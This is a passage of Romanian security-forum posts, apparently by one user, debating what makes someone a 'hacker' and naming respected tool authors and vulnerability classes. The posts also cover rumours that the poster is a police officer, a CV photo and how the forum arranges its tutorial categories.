treaba. Ei vor ramane mereu cu chestiile de suprafata, usor de inteles pentru toata lumea, iar cei mai in varsta "se vor pierde" dar nu prea. Adica nu va sti toata lumea de tine daca vei face lucruri complicate, sa zicem daca ai scrie device drivere, insa va sti cine trebuie: o firma care se ocupa cu asa ceva, si vei castiga destul de bine din asta.
-
Ca sa evit generalizari, voi spune doar asta: hacker e un fel de mic geniu al informaticii, sa zicem un mic "inventator", cineva care a facut ceva pentru acest domeniu. Ca sa dau niste exemple: Pitagora/Fermat/LaGrange si altii (nu am idei acum) sunt "hackeri ai matematicii", asta e modul in care vad eu lucrurile. Sunt persoane care au adus contributii importante in matematica, fie ele lucruri noi sau nu, sunt oricum lucruri care necesita cunostinte solide de matematica. Aplic acelasi principiu si in informatica. Hackeri ar fi: - muts - Pentru Backtrack - Fyodor - Pentru Nmap - HD Moore - Pentru Metasploit Cam asta ar fi ideea. Hackeri sunt persoanele care pe langa faptul ca au descoperit lucruri interesante: BOF-urile, SQL Injection-ul, LFI to RCE de exemplu, ASLR/DEP bypass si altele, ei sunt hackeri, nu cei care citesc 2 tutoriale si obtin acces undeva cu ele, si pe langa faptul ca au descoperit lucruri noi, au si avut grija sa le faca publice si sa ofere informatia obtinuta de ei publicitatii. Dar lumea nu se gandeste la asta, si il ia pe Vasile care citeste 2 articole despre SQL Injection, "sparge" un site si gata, el e hackerul... De asemenea conteaza si nevelul de cunostinte necesare pentru o anumita actiune. De ce nu i se spune "hacker" lui Tavis Ormandy , Ramon Valle sau Jon Oberheide care au gasit Local Root Privilege Escalation Exploit-uri in kernelul de Linux? E simplu, lumea nu intelege chestiile complicate si de suprafata, nu poate vedea practic ce au facut ei. In schimb vad o imagine pe o un site "care a fost spart" si il considera un zeu pe autor. E ca si cum ai merge la un concurs cu un modul de kernel care face cine stie ce lucruri complicate si vine unul cu un site in Flash cu beculete roz si stralucitoare. El va castiga clar concursul. Cred ca intelegeti ce vreau sa spun.
-
In fine, ca sa inteleaga si persoane mai inapte care inca considera ca sunt gabor: nu sunt, in cel mai rau caz as fi la Academia de Politie unde am dat doar probele fizice sau la Academia Tehnica Militara unde am luat probele fizice, dar matematica si fizica de acolo nu sunt de mine. Deci sunt un simplu student.
-
Da, poza de la CV-ul de pe bestjobs... Cand am fost la un interviu, cel cu care vorbeam avea CV-ul meu in fata si a taiat poza asta, a zis ca nu e poza de CV.
-
Era cand am facut poze pentru albumul clasei. Uite, sa nu mai comenteze lumea: // Removed Am scos burta si suncile in Photoshop, ochelarii nu ii port si cosurile de pe fata nu mi se vad.
-
Erau vreo 2 poze mai vechi cu mine, dar nu sunt ala de mai sus @ adi123456789 Am pus aici, anul trecut o poza in costum. Poate nu a fost stearsa. Sapati.
-
Nu e Pax, e unul care inca crede ca sunt gabor Daca veti cauta prin toate posturile mele, pe langa faptul ca imi veti afla numele, veti afla si cum sta treaba cu "locul meu de munca". Iar tu, stimate autor al acestui post mirific, esti un gunoi pentru acest forum, ban!
-
Mie nu imi place cu tutorialele asa din urmatorul motiv: tutorialele sunt principala sursa de informatie aici, dupa mine, Tutoriale Romana/Engleza/Video si Programare sunt cele mai importante cateogrii, si trebuie sa apara toate pe index. Nu sa stau sa dau la Tutoriale, apoi la ce categorie s-a postat...
-
Pune link catre profilul utilizatorului Nytro creat.